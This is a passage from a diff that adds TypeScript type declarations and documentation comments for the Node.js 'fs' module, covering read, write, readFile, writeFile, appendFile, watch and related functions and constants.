file descriptor. + * @param offset The part of the buffer to be written. If not supplied, defaults to `0`. + */ + export function write( + fd: number, + buffer: TBuffer, + offset: number | undefined | null, + callback: (err: NodeJS.ErrnoException | null, written: number, buffer: TBuffer) => void, + ): void; + /** + * Asynchronously writes `buffer` to the file referenced by the supplied file descriptor. + * @param fd A file descriptor. + */ + export function write( + fd: number, + buffer: TBuffer, + callback: (err: NodeJS.ErrnoException | null, written: number, buffer: TBuffer) => void, + ): void; + /** + * Asynchronously writes `string` to the file referenced by the supplied file descriptor. + * @param fd A file descriptor. + * @param string A string to write. + * @param position The offset from the beginning of the file where this data should be written. If not supplied, defaults to the current position. + * @param encoding The expected string encoding. + */ + export function write( + fd: number, + string: string, + position: number | undefined | null, + encoding: BufferEncoding | undefined | null, + callback: (err: NodeJS.ErrnoException | null, written: number, str: string) => void, + ): void; + /** + * Asynchronously writes `string` to the file referenced by the supplied file descriptor. + * @param fd A file descriptor. + * @param string A string to write. + * @param position The offset from the beginning of the file where this data should be written. If not supplied, defaults to the current position. + */ + export function write( + fd: number, + string: string, + position: number | undefined | null, + callback: (err: NodeJS.ErrnoException | null, written: number, str: string) => void, + ): void; + /** + * Asynchronously writes `string` to the file referenced by the supplied file descriptor. + * @param fd A file descriptor. + * @param string A string to write. + */ + export function write( + fd: number, + string: string, + callback: (err: NodeJS.ErrnoException | null, written: number, str: string) => void, + ): void; + export namespace write { + /** + * Asynchronously writes `buffer` to the file referenced by the supplied file descriptor. + * @param fd A file descriptor. + * @param offset The part of the buffer to be written. If not supplied, defaults to `0`. + * @param length The number of bytes to write. If not supplied, defaults to `buffer.length - offset`. + * @param position The offset from the beginning of the file where this data should be written. If not supplied, defaults to the current position. + */ + function __promisify__( + fd: number, + buffer?: TBuffer, + offset?: number, + length?: number, + position?: number | null, + ): Promise<{ + bytesWritten: number; + buffer: TBuffer; + }>; + /** + * Asynchronously writes `string` to the file referenced by the supplied file descriptor. + * @param fd A file descriptor. + * @param string A string to write. + * @param position The offset from the beginning of the file where this data should be written. If not supplied, defaults to the current position. + * @param encoding The expected string encoding. + */ + function __promisify__( + fd: number, + string: string, + position?: number | null, + encoding?: BufferEncoding | null, + ): Promise<{ + bytesWritten: number; + buffer: string; + }>; + } + /** + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link write}. + * @since v0.1.21 + * @param [offset=0] + * @param [length=buffer.byteLength - offset] + * @param [position='null'] + * @return The number of bytes written. + */ + export function writeSync( + fd: number, + buffer: NodeJS.ArrayBufferView, + offset?: number | null, + length?: number | null, + position?: number | null, + ): number; + /** + * Synchronously writes `string` to the file referenced by the supplied file descriptor, returning the number of bytes written. + * @param fd A file descriptor. + * @param string A string to write. + * @param position The offset from the beginning of the file where this data should be written. If not supplied, defaults to the current position. + * @param encoding The expected string encoding. + */ + export function writeSync( + fd: number, + string: string, + position?: number | null, + encoding?: BufferEncoding | null, + ): number; + export type ReadPosition = number | bigint; + export interface ReadSyncOptions { + /** + * @default 0 + */ + offset?: number | undefined; + /** + * @default `length of buffer` + */ + length?: number | undefined; + /** + * @default null + */ + position?: ReadPosition | null | undefined; + } + export interface ReadAsyncOptions extends ReadSyncOptions { + buffer?: TBuffer; + } + /** + * Read data from the file specified by `fd`. + * + * The callback is given the three arguments, `(err, bytesRead, buffer)`. + * + * If the file is not modified concurrently, the end-of-file is reached when the + * number of bytes read is zero. + * + * If this method is invoked as its `util.promisify()` ed version, it returns + * a promise for an `Object` with `bytesRead` and `buffer` properties. + * @since v0.0.2 + * @param buffer The buffer that the data will be written to. + * @param offset The position in `buffer` to write the data to. + * @param length The number of bytes to read. + * @param position Specifies where to begin reading from in the file. If `position` is `null` or `-1 `, data will be read from the current file position, and the file position will be updated. If + * `position` is an integer, the file position will be unchanged. + */ + export function read( + fd: number, + buffer: TBuffer, + offset: number, + length: number, + position: ReadPosition | null, + callback: (err: NodeJS.ErrnoException | null, bytesRead: number, buffer: TBuffer) => void, + ): void; + /** + * Similar to the above `fs.read` function, this version takes an optional `options` object. + * If not otherwise specified in an `options` object, + * `buffer` defaults to `Buffer.alloc(16384)`, + * `offset` defaults to `0`, + * `length` defaults to `buffer.byteLength`, `- offset` as of Node 17.6.0 + * `position` defaults to `null` + * @since v12.17.0, 13.11.0 + */ + export function read( + fd: number, + options: ReadAsyncOptions, + callback: (err: NodeJS.ErrnoException | null, bytesRead: number, buffer: TBuffer) => void, + ): void; + export function read( + fd: number, + callback: (err: NodeJS.ErrnoException | null, bytesRead: number, buffer: NodeJS.ArrayBufferView) => void, + ): void; + export namespace read { + /** + * @param fd A file descriptor. + * @param buffer The buffer that the data will be written to. + * @param offset The offset in the buffer at which to start writing. + * @param length The number of bytes to read. + * @param position The offset from the beginning of the file from which data should be read. If `null`, data will be read from the current position. + */ + function __promisify__( + fd: number, + buffer: TBuffer, + offset: number, + length: number, + position: number | null, + ): Promise<{ + bytesRead: number; + buffer: TBuffer; + }>; + function __promisify__( + fd: number, + options: ReadAsyncOptions, + ): Promise<{ + bytesRead: number; + buffer: TBuffer; + }>; + function __promisify__(fd: number): Promise<{ + bytesRead: number; + buffer: NodeJS.ArrayBufferView; + }>; + } + /** + * Returns the number of `bytesRead`. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link read}. + * @since v0.1.21 + * @param [position='null'] + */ + export function readSync( + fd: number, + buffer: NodeJS.ArrayBufferView, + offset: number, + length: number, + position: ReadPosition | null, + ): number; + /** + * Similar to the above `fs.readSync` function, this version takes an optional `options` object. + * If no `options` object is specified, it will default with the above values. + */ + export function readSync(fd: number, buffer: NodeJS.ArrayBufferView, opts?: ReadSyncOptions): number; + /** + * Asynchronously reads the entire contents of a file. + * + * ```js + * import { readFile } from 'node:fs'; + * + * readFile('/etc/passwd', (err, data) => { + * if (err) throw err; + * console.log(data); + * }); + * ``` + * + * The callback is passed two arguments `(err, data)`, where `data` is the + * contents of the file. + * + * If no encoding is specified, then the raw buffer is returned. + * + * If `options` is a string, then it specifies the encoding: + * + * ```js + * import { readFile } from 'node:fs'; + * + * readFile('/etc/passwd', 'utf8', callback); + * ``` + * + * When the path is a directory, the behavior of `fs.readFile()` and {@link readFileSync} is platform-specific. On macOS, Linux, and Windows, an + * error will be returned. On FreeBSD, a representation of the directory's contents + * will be returned. + * + * ```js + * import { readFile } from 'node:fs'; + * + * // macOS, Linux, and Windows + * readFile('', (err, data) => { + * // => [Error: EISDIR: illegal operation on a directory, read ] + * }); + * + * // FreeBSD + * readFile('', (err, data) => { + * // => null, + * }); + * ``` + * + * It is possible to abort an ongoing request using an `AbortSignal`. If a + * request is aborted the callback is called with an `AbortError`: + * + * ```js + * import { readFile } from 'node:fs'; + * + * const controller = new AbortController(); + * const signal = controller.signal; + * readFile(fileInfo[0].name, { signal }, (err, buf) => { + * // ... + * }); + * // When you want to abort the request + * controller.abort(); + * ``` + * + * The `fs.readFile()` function buffers the entire file. To minimize memory costs, + * when possible prefer streaming via `fs.createReadStream()`. + * + * Aborting an ongoing request does not abort individual operating + * system requests but rather the internal buffering `fs.readFile` performs. + * @since v0.1.29 + * @param path filename or file descriptor + */ + export function readFile( + path: PathOrFileDescriptor, + options: + | ({ + encoding?: null | undefined; + flag?: string | undefined; + } & Abortable) + | undefined + | null, + callback: (err: NodeJS.ErrnoException | null, data: Buffer) => void, + ): void; + /** + * Asynchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param options Either the encoding for the result, or an object that contains the encoding and an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + export function readFile( + path: PathOrFileDescriptor, + options: + | ({ + encoding: BufferEncoding; + flag?: string | undefined; + } & Abortable) + | BufferEncoding, + callback: (err: NodeJS.ErrnoException | null, data: string) => void, + ): void; + /** + * Asynchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param options Either the encoding for the result, or an object that contains the encoding and an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + export function readFile( + path: PathOrFileDescriptor, + options: + | (ObjectEncodingOptions & { + flag?: string | undefined; + } & Abortable) + | BufferEncoding + | undefined + | null, + callback: (err: NodeJS.ErrnoException | null, data: string | Buffer) => void, + ): void; + /** + * Asynchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + */ + export function readFile( + path: PathOrFileDescriptor, + callback: (err: NodeJS.ErrnoException | null, data: Buffer) => void, + ): void; + export namespace readFile { + /** + * Asynchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param options An object that may contain an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + function __promisify__( + path: PathOrFileDescriptor, + options?: { + encoding?: null | undefined; + flag?: string | undefined; + } | null, + ): Promise; + /** + * Asynchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * URL support is _experimental_. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param options Either the encoding for the result, or an object that contains the encoding and an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + function __promisify__( + path: PathOrFileDescriptor, + options: + | { + encoding: BufferEncoding; + flag?: string | undefined; + } + | BufferEncoding, + ): Promise; + /** + * Asynchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * URL support is _experimental_. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param options Either the encoding for the result, or an object that contains the encoding and an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + function __promisify__( + path: PathOrFileDescriptor, + options?: + | (ObjectEncodingOptions & { + flag?: string | undefined; + }) + | BufferEncoding + | null, + ): Promise; + } + /** + * Returns the contents of the `path`. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link readFile}. + * + * If the `encoding` option is specified then this function returns a + * string. Otherwise it returns a buffer. + * + * Similar to {@link readFile}, when the path is a directory, the behavior of `fs.readFileSync()` is platform-specific. + * + * ```js + * import { readFileSync } from 'node:fs'; + * + * // macOS, Linux, and Windows + * readFileSync(''); + * // => [Error: EISDIR: illegal operation on a directory, read ] + * + * // FreeBSD + * readFileSync(''); // => + * ``` + * @since v0.1.8 + * @param path filename or file descriptor + */ + export function readFileSync( + path: PathOrFileDescriptor, + options?: { + encoding?: null | undefined; + flag?: string | undefined; + } | null, + ): Buffer; + /** + * Synchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param options Either the encoding for the result, or an object that contains the encoding and an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + export function readFileSync( + path: PathOrFileDescriptor, + options: + | { + encoding: BufferEncoding; + flag?: string | undefined; + } + | BufferEncoding, + ): string; + /** + * Synchronously reads the entire contents of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param options Either the encoding for the result, or an object that contains the encoding and an optional flag. + * If a flag is not provided, it defaults to `'r'`. + */ + export function readFileSync( + path: PathOrFileDescriptor, + options?: + | (ObjectEncodingOptions & { + flag?: string | undefined; + }) + | BufferEncoding + | null, + ): string | Buffer; + export type WriteFileOptions = + | ( + & ObjectEncodingOptions + & Abortable + & { + mode?: Mode | undefined; + flag?: string | undefined; + flush?: boolean | undefined; + } + ) + | BufferEncoding + | null; + /** + * When `file` is a filename, asynchronously writes data to the file, replacing the + * file if it already exists. `data` can be a string or a buffer. + * + * When `file` is a file descriptor, the behavior is similar to calling `fs.write()` directly (which is recommended). See the notes below on using + * a file descriptor. + * + * The `encoding` option is ignored if `data` is a buffer. + * + * The `mode` option only affects the newly created file. See {@link open} for more details. + * + * ```js + * import { writeFile } from 'node:fs'; + * import { Buffer } from 'node:buffer'; + * + * const data = new Uint8Array(Buffer.from('Hello Node.js')); + * writeFile('message.txt', data, (err) => { + * if (err) throw err; + * console.log('The file has been saved!'); + * }); + * ``` + * + * If `options` is a string, then it specifies the encoding: + * + * ```js + * import { writeFile } from 'node:fs'; + * + * writeFile('message.txt', 'Hello Node.js', 'utf8', callback); + * ``` + * + * It is unsafe to use `fs.writeFile()` multiple times on the same file without + * waiting for the callback. For this scenario, {@link createWriteStream} is + * recommended. + * + * Similarly to `fs.readFile` \- `fs.writeFile` is a convenience method that + * performs multiple `write` calls internally to write the buffer passed to it. + * For performance sensitive code consider using {@link createWriteStream}. + * + * It is possible to use an `AbortSignal` to cancel an `fs.writeFile()`. + * Cancelation is "best effort", and some amount of data is likely still + * to be written. + * + * ```js + * import { writeFile } from 'node:fs'; + * import { Buffer } from 'node:buffer'; + * + * const controller = new AbortController(); + * const { signal } = controller; + * const data = new Uint8Array(Buffer.from('Hello Node.js')); + * writeFile('message.txt', data, { signal }, (err) => { + * // When a request is aborted - the callback is called with an AbortError + * }); + * // When the request should be aborted + * controller.abort(); + * ``` + * + * Aborting an ongoing request does not abort individual operating + * system requests but rather the internal buffering `fs.writeFile` performs. + * @since v0.1.29 + * @param file filename or file descriptor + */ + export function writeFile( + file: PathOrFileDescriptor, + data: string | NodeJS.ArrayBufferView, + options: WriteFileOptions, + callback: NoParamCallback, + ): void; + /** + * Asynchronously writes data to a file, replacing the file if it already exists. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param data The data to write. If something other than a Buffer or Uint8Array is provided, the value is coerced to a string. + */ + export function writeFile( + path: PathOrFileDescriptor, + data: string | NodeJS.ArrayBufferView, + callback: NoParamCallback, + ): void; + export namespace writeFile { + /** + * Asynchronously writes data to a file, replacing the file if it already exists. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * URL support is _experimental_. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param data The data to write. If something other than a Buffer or Uint8Array is provided, the value is coerced to a string. + * @param options Either the encoding for the file, or an object optionally specifying the encoding, file mode, and flag. + * If `encoding` is not supplied, the default of `'utf8'` is used. + * If `mode` is not supplied, the default of `0o666` is used. + * If `mode` is a string, it is parsed as an octal integer. + * If `flag` is not supplied, the default of `'w'` is used. + */ + function __promisify__( + path: PathOrFileDescriptor, + data: string | NodeJS.ArrayBufferView, + options?: WriteFileOptions, + ): Promise; + } + /** + * Returns `undefined`. + * + * The `mode` option only affects the newly created file. See {@link open} for more details. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link writeFile}. + * @since v0.1.29 + * @param file filename or file descriptor + */ + export function writeFileSync( + file: PathOrFileDescriptor, + data: string | NodeJS.ArrayBufferView, + options?: WriteFileOptions, + ): void; + /** + * Asynchronously append data to a file, creating the file if it does not yet + * exist. `data` can be a string or a `Buffer`. + * + * The `mode` option only affects the newly created file. See {@link open} for more details. + * + * ```js + * import { appendFile } from 'node:fs'; + * + * appendFile('message.txt', 'data to append', (err) => { + * if (err) throw err; + * console.log('The "data to append" was appended to file!'); + * }); + * ``` + * + * If `options` is a string, then it specifies the encoding: + * + * ```js + * import { appendFile } from 'node:fs'; + * + * appendFile('message.txt', 'data to append', 'utf8', callback); + * ``` + * + * The `path` may be specified as a numeric file descriptor that has been opened + * for appending (using `fs.open()` or `fs.openSync()`). The file descriptor will + * not be closed automatically. + * + * ```js + * import { open, close, appendFile } from 'node:fs'; + * + * function closeFd(fd) { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * + * open('message.txt', 'a', (err, fd) => { + * if (err) throw err; + * + * try { + * appendFile(fd, 'data to append', 'utf8', (err) => { + * closeFd(fd); + * if (err) throw err; + * }); + * } catch (err) { + * closeFd(fd); + * throw err; + * } + * }); + * ``` + * @since v0.6.7 + * @param path filename or file descriptor + */ + export function appendFile( + path: PathOrFileDescriptor, + data: string | Uint8Array, + options: WriteFileOptions, + callback: NoParamCallback, + ): void; + /** + * Asynchronously append data to a file, creating the file if it does not exist. + * @param file A path to a file. If a URL is provided, it must use the `file:` protocol. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param data The data to write. If something other than a Buffer or Uint8Array is provided, the value is coerced to a string. + */ + export function appendFile(file: PathOrFileDescriptor, data: string | Uint8Array, callback: NoParamCallback): void; + export namespace appendFile { + /** + * Asynchronously append data to a file, creating the file if it does not exist. + * @param file A path to a file. If a URL is provided, it must use the `file:` protocol. + * URL support is _experimental_. + * If a file descriptor is provided, the underlying file will _not_ be closed automatically. + * @param data The data to write. If something other than a Buffer or Uint8Array is provided, the value is coerced to a string. + * @param options Either the encoding for the file, or an object optionally specifying the encoding, file mode, and flag. + * If `encoding` is not supplied, the default of `'utf8'` is used. + * If `mode` is not supplied, the default of `0o666` is used. + * If `mode` is a string, it is parsed as an octal integer. + * If `flag` is not supplied, the default of `'a'` is used. + */ + function __promisify__( + file: PathOrFileDescriptor, + data: string | Uint8Array, + options?: WriteFileOptions, + ): Promise; + } + /** + * Synchronously append data to a file, creating the file if it does not yet + * exist. `data` can be a string or a `Buffer`. + * + * The `mode` option only affects the newly created file. See {@link open} for more details. + * + * ```js + * import { appendFileSync } from 'node:fs'; + * + * try { + * appendFileSync('message.txt', 'data to append'); + * console.log('The "data to append" was appended to file!'); + * } catch (err) { + * // Handle the error + * } + * ``` + * + * If `options` is a string, then it specifies the encoding: + * + * ```js + * import { appendFileSync } from 'node:fs'; + * + * appendFileSync('message.txt', 'data to append', 'utf8'); + * ``` + * + * The `path` may be specified as a numeric file descriptor that has been opened + * for appending (using `fs.open()` or `fs.openSync()`). The file descriptor will + * not be closed automatically. + * + * ```js + * import { openSync, closeSync, appendFileSync } from 'node:fs'; + * + * let fd; + * + * try { + * fd = openSync('message.txt', 'a'); + * appendFileSync(fd, 'data to append', 'utf8'); + * } catch (err) { + * // Handle the error + * } finally { + * if (fd !== undefined) + * closeSync(fd); + * } + * ``` + * @since v0.6.7 + * @param path filename or file descriptor + */ + export function appendFileSync( + path: PathOrFileDescriptor, + data: string | Uint8Array, + options?: WriteFileOptions, + ): void; + /** + * Watch for changes on `filename`. The callback `listener` will be called each + * time the file is accessed. + * + * The `options` argument may be omitted. If provided, it should be an object. The `options` object may contain a boolean named `persistent` that indicates + * whether the process should continue to run as long as files are being watched. + * The `options` object may specify an `interval` property indicating how often the + * target should be polled in milliseconds. + * + * The `listener` gets two arguments the current stat object and the previous + * stat object: + * + * ```js + * import { watchFile } from 'node:fs'; + * + * watchFile('message.text', (curr, prev) => { + * console.log(`the current mtime is: ${curr.mtime}`); + * console.log(`the previous mtime was: ${prev.mtime}`); + * }); + * ``` + * + * These stat objects are instances of `fs.Stat`. If the `bigint` option is `true`, + * the numeric values in these objects are specified as `BigInt`s. + * + * To be notified when the file was modified, not just accessed, it is necessary + * to compare `curr.mtimeMs` and `prev.mtimeMs`. + * + * When an `fs.watchFile` operation results in an `ENOENT` error, it + * will invoke the listener once, with all the fields zeroed (or, for dates, the + * Unix Epoch). If the file is created later on, the listener will be called + * again, with the latest stat objects. This is a change in functionality since + * v0.10. + * + * Using {@link watch} is more efficient than `fs.watchFile` and `fs.unwatchFile`. `fs.watch` should be used instead of `fs.watchFile` and `fs.unwatchFile` when possible. + * + * When a file being watched by `fs.watchFile()` disappears and reappears, + * then the contents of `previous` in the second callback event (the file's + * reappearance) will be the same as the contents of `previous` in the first + * callback event (its disappearance). + * + * This happens when: + * + * * the file is deleted, followed by a restore + * * the file is renamed and then renamed a second time back to its original name + * @since v0.1.31 + */ + export interface WatchFileOptions { + bigint?: boolean | undefined; + persistent?: boolean | undefined; + interval?: number | undefined; + } + /** + * Watch for changes on `filename`. The callback `listener` will be called each + * time the file is accessed. + * + * The `options` argument may be omitted. If provided, it should be an object. The `options` object may contain a boolean named `persistent` that indicates + * whether the process should continue to run as long as files are being watched. + * The `options` object may specify an `interval` property indicating how often the + * target should be polled in milliseconds. + * + * The `listener` gets two arguments the current stat object and the previous + * stat object: + * + * ```js + * import { watchFile } from 'node:fs'; + * + * watchFile('message.text', (curr, prev) => { + * console.log(`the current mtime is: ${curr.mtime}`); + * console.log(`the previous mtime was: ${prev.mtime}`); + * }); + * ``` + * + * These stat objects are instances of `fs.Stat`. If the `bigint` option is `true`, + * the numeric values in these objects are specified as `BigInt`s. + * + * To be notified when the file was modified, not just accessed, it is necessary + * to compare `curr.mtimeMs` and `prev.mtimeMs`. + * + * When an `fs.watchFile` operation results in an `ENOENT` error, it + * will invoke the listener once, with all the fields zeroed (or, for dates, the + * Unix Epoch). If the file is created later on, the listener will be called + * again, with the latest stat objects. This is a change in functionality since + * v0.10. + * + * Using {@link watch} is more efficient than `fs.watchFile` and `fs.unwatchFile`. `fs.watch` should be used instead of `fs.watchFile` and `fs.unwatchFile` when possible. + * + * When a file being watched by `fs.watchFile()` disappears and reappears, + * then the contents of `previous` in the second callback event (the file's + * reappearance) will be the same as the contents of `previous` in the first + * callback event (its disappearance). + * + * This happens when: + * + * * the file is deleted, followed by a restore + * * the file is renamed and then renamed a second time back to its original name + * @since v0.1.31 + */ + export function watchFile( + filename: PathLike, + options: + | (WatchFileOptions & { + bigint?: false | undefined; + }) + | undefined, + listener: StatsListener, + ): StatWatcher; + export function watchFile( + filename: PathLike, + options: + | (WatchFileOptions & { + bigint: true; + }) + | undefined, + listener: BigIntStatsListener, + ): StatWatcher; + /** + * Watch for changes on `filename`. The callback `listener` will be called each time the file is accessed. + * @param filename A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + */ + export function watchFile(filename: PathLike, listener: StatsListener): StatWatcher; + /** + * Stop watching for changes on `filename`. If `listener` is specified, only that + * particular listener is removed. Otherwise, _all_ listeners are removed, + * effectively stopping watching of `filename`. + * + * Calling `fs.unwatchFile()` with a filename that is not being watched is a + * no-op, not an error. + * + * Using {@link watch} is more efficient than `fs.watchFile()` and `fs.unwatchFile()`. `fs.watch()` should be used instead of `fs.watchFile()` and `fs.unwatchFile()` when possible. + * @since v0.1.31 + * @param listener Optional, a listener previously attached using `fs.watchFile()` + */ + export function unwatchFile(filename: PathLike, listener?: StatsListener): void; + export function unwatchFile(filename: PathLike, listener?: BigIntStatsListener): void; + export interface WatchOptions extends Abortable { + encoding?: BufferEncoding | "buffer" | undefined; + persistent?: boolean | undefined; + recursive?: boolean | undefined; + } + export type WatchEventType = "rename" | "change"; + export type WatchListener = (event: WatchEventType, filename: T | null) => void; + export type StatsListener = (curr: Stats, prev: Stats) => void; + export type BigIntStatsListener = (curr: BigIntStats, prev: BigIntStats) => void; + /** + * Watch for changes on `filename`, where `filename` is either a file or a + * directory. + * + * The second argument is optional. If `options` is provided as a string, it + * specifies the `encoding`. Otherwise `options` should be passed as an object. + * + * The listener callback gets two arguments `(eventType, filename)`. `eventType`is either `'rename'` or `'change'`, and `filename` is the name of the file + * which triggered the event. + * + * On most platforms, `'rename'` is emitted whenever a filename appears or + * disappears in the directory. + * + * The listener callback is attached to the `'change'` event fired by `fs.FSWatcher`, but it is not the same thing as the `'change'` value of `eventType`. + * + * If a `signal` is passed, aborting the corresponding AbortController will close + * the returned `fs.FSWatcher`. + * @since v0.5.10 + * @param listener + */ + export function watch( + filename: PathLike, + options: + | (WatchOptions & { + encoding: "buffer"; + }) + | "buffer", + listener?: WatchListener, + ): FSWatcher; + /** + * Watch for changes on `filename`, where `filename` is either a file or a directory, returning an `FSWatcher`. + * @param filename A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + * @param options Either the encoding for the filename provided to the listener, or an object optionally specifying encoding, persistent, and recursive options. + * If `encoding` is not supplied, the default of `'utf8'` is used. + * If `persistent` is not supplied, the default of `true` is used. + * If `recursive` is not supplied, the default of `false` is used. + */ + export function watch( + filename: PathLike, + options?: WatchOptions | BufferEncoding | null, + listener?: WatchListener, + ): FSWatcher; + /** + * Watch for changes on `filename`, where `filename` is either a file or a directory, returning an `FSWatcher`. + * @param filename A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + * @param options Either the encoding for the filename provided to the listener, or an object optionally specifying encoding, persistent, and recursive options. + * If `encoding` is not supplied, the default of `'utf8'` is used. + * If `persistent` is not supplied, the default of `true` is used. + * If `recursive` is not supplied, the default of `false` is used. + */ + export function watch( + filename: PathLike, + options: WatchOptions | string, + listener?: WatchListener, + ): FSWatcher; + /** + * Watch for changes on `filename`, where `filename` is either a file or a directory, returning an `FSWatcher`. + * @param filename A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + */ + export function watch(filename: PathLike, listener?: WatchListener): FSWatcher; + /** + * Test whether or not the given path exists by checking with the file system. + * Then call the `callback` argument with either true or false: + * + * ```js + * import { exists } from 'node:fs'; + * + * exists('/etc/passwd', (e) => { + * console.log(e ? 'it exists' : 'no passwd!'); + * }); + * ``` + * + * **The parameters for this callback are not consistent with other Node.js** + * **callbacks.** Normally, the first parameter to a Node.js callback is an `err` parameter, optionally followed by other parameters. The `fs.exists()` callback + * has only one boolean parameter. This is one reason `fs.access()` is recommended + * instead of `fs.exists()`. + * + * Using `fs.exists()` to check for the existence of a file before calling `fs.open()`, `fs.readFile()`, or `fs.writeFile()` is not recommended. Doing + * so introduces a race condition, since other processes may change the file's + * state between the two calls. Instead, user code should open/read/write the + * file directly and handle the error raised if the file does not exist. + * + * **write (NOT RECOMMENDED)** + * + * ```js + * import { exists, open, close } from 'node:fs'; + * + * exists('myfile', (e) => { + * if (e) { + * console.error('myfile already exists'); + * } else { + * open('myfile', 'wx', (err, fd) => { + * if (err) throw err; + * + * try { + * writeMyData(fd); + * } finally { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * }); + * } + * }); + * ``` + * + * **write (RECOMMENDED)** + * + * ```js + * import { open, close } from 'node:fs'; + * open('myfile', 'wx', (err, fd) => { + * if (err) { + * if (err.code === 'EEXIST') { + * console.error('myfile already exists'); + * return; + * } + * + * throw err; + * } + * + * try { + * writeMyData(fd); + * } finally { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * }); + * ``` + * + * **read (NOT RECOMMENDED)** + * + * ```js + * import { open, close, exists } from 'node:fs'; + * + * exists('myfile', (e) => { + * if (e) { + * open('myfile', 'r', (err, fd) => { + * if (err) throw err; + * + * try { + * readMyData(fd); + * } finally { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * }); + * } else { + * console.error('myfile does not exist'); + * } + * }); + * ``` + * + * **read (RECOMMENDED)** + * + * ```js + * import { open, close } from 'node:fs'; + * + * open('myfile', 'r', (err, fd) => { + * if (err) { + * if (err.code === 'ENOENT') { + * console.error('myfile does not exist'); + * return; + * } + * + * throw err; + * } + * + * try { + * readMyData(fd); + * } finally { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * }); + * ``` + * + * The "not recommended" examples above check for existence and then use the + * file; the "recommended" examples are better because they use the file directly + * and handle the error, if any. + * + * In general, check for the existence of a file only if the file won't be + * used directly, for example when its existence is a signal from another + * process. + * @since v0.0.2 + * @deprecated Since v1.0.0 - Use {@link stat} or {@link access} instead. + */ + export function exists(path: PathLike, callback: (exists: boolean) => void): void; + /** @deprecated */ + export namespace exists { + /** + * @param path A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + * URL support is _experimental_. + */ + function __promisify__(path: PathLike): Promise; + } + /** + * Returns `true` if the path exists, `false` otherwise. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link exists}. + * + * `fs.exists()` is deprecated, but `fs.existsSync()` is not. The `callback` parameter to `fs.exists()` accepts parameters that are inconsistent with other + * Node.js callbacks. `fs.existsSync()` does not use a callback. + * + * ```js + * import { existsSync } from 'node:fs'; + * + * if (existsSync('/etc/passwd')) + * console.log('The path exists.'); + * ``` + * @since v0.1.21 + */ + export function existsSync(path: PathLike): boolean; + export namespace constants { + // File Access Constants + /** Constant for fs.access(). File is visible to the calling process. */ + const F_OK: number; + /** Constant for fs.access(). File can be read by the calling process. */ + const R_OK: number; + /** Constant for fs.access(). File can be written by the calling process. */ + const W_OK: number; + /** Constant for fs.access(). File can be executed by the calling process. */ + const X_OK: number; + // File Copy Constants + /** Constant for fs.copyFile. Flag indicating the destination file should not be overwritten if it already exists. */ + const COPYFILE_EXCL: number; + /** + * Constant for fs.copyFile. copy operation will attempt to create a copy-on-write reflink. + * If the underlying platform does not support copy-on-write, then a fallback copy mechanism is used. + */ + const COPYFILE_FICLONE: number; + /** + * Constant for fs.copyFile. Copy operation will attempt to create a copy-on-write reflink. + * If the underlying platform does not support copy-on-write, then the operation will fail with an error. + */ + const COPYFILE_FICLONE_FORCE: number; + // File Open Constants + /** Constant for fs.open(). Flag indicating to open a file for read-only access. */ + const O_RDONLY: number; + /** Constant for fs.open(). Flag indicating to open a file for write-only access. */ + const O_WRONLY: number; + /** Constant for fs.open(). Flag indicating to open a file for read-write access. */ + const O_RDWR: number; + /** Constant for fs.open(). Flag indicating to create the file if it does not already exist. */ + const O_CREAT: number; + /** Constant for fs.open(). Flag indicating that opening a file should fail if the O_CREAT flag is set and the file already exists. */ + const O_EXCL: number; + /** + * Constant for fs.open(). Flag indicating that if path identifies a terminal device, + * opening the path shall not cause that terminal to become the controlling terminal for the process + * (if the process does not already have one). + */ + const O_NOCTTY: number; + /** Constant for fs.open(). Flag indicating that if the file exists and is a regular file, and the file is opened successfully for write access, its length shall be truncated to zero. */ + const O_TRUNC: number; + /** Constant for fs.open(). Flag indicating that data will be appended to the end of the file. */ + const O_APPEND: number; + /** Constant for fs.open(). Flag indicating that the open should fail if the path is not a directory. */ + const O_DIRECTORY: number; + /** + * constant for fs.open(). + * Flag indicating reading accesses to the file system will no longer result in + * an update to the atime information associated with the file. + * This flag is available on Linux 